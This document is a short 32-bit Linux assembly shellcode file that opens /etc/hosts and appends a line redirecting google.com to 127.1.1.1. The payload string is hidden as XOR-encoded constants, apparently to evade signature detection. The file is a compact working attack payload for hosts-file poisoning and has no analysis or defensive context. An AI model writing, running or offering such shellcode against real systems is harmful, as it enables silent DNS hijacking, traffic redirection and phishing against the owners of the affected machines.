pos2.nasm

global _start

section .text

_start:
    xor ecx, ecx
    mul ecx
    add al, 5     
    push ecx

    ; XOR'ed
    push 0x7374736f     ;/etc///hosts
    push 0x682f2f2f
    push 0x6374652f
    mov ebx, esp
    mov cx, 1023       ;permissions
    inc cx
    inc cx
    int 0x80        ;syscall to open file

    xchg eax, ebx

    mov eax, ebx 
    inc eax

    
    push edx

    mov ecx, 0xc7c5c984
    mov edx, 0xaaaaaaaa

    xor ecx, edx
    push ecx
    mov ecx, 0xcfc6cdc5
    xor ecx, edx
    push ecx


    mov ecx, 0xc5cd8a9b
    xor ecx, edx
    push ecx

    mov ecx, 0x849b849b
    xor ecx, edx
    push ecx

    mov ecx, 0x849d989b
    xor ecx, edx
    push ecx



_write:
    mov ecx, esp

    xor edx, edx
    mov dl, 20
    

    int 0x80        ;syscall to write in the file

    xor eax, eax
    mov al, 0x6
    int 0x80        ;syscall to close the file

    mov al, 0x1
    int 0x80        ;syscall to exit